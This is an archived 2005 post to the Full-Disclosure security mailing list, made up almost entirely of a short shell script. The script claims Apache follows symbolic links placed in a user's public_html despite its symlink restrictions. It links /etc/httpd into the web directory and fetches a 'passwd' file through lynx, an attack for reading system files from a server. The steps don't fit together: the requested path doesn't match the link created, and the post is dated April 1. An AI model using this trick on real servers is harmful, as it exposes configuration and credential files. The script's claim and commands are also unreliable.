[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Phun With Apache
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Phun With Apache
- From: duper@xxxxxxxxxxxxxxxxxxx
- Date: Fri, 1 Apr 2005 04:19:55 -0500 (EST)
#!/bin/sh
## Apache follows symbolic links referenced by public_html!
## Even when SymLinksifOwnerMatch is set and FollowSymLinks is not!
## A super-easy way to gain read access on files owned by the apache user!
ln -s /etc/httpd ~/public_html
lynx http://localhost/~duper/passwd
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/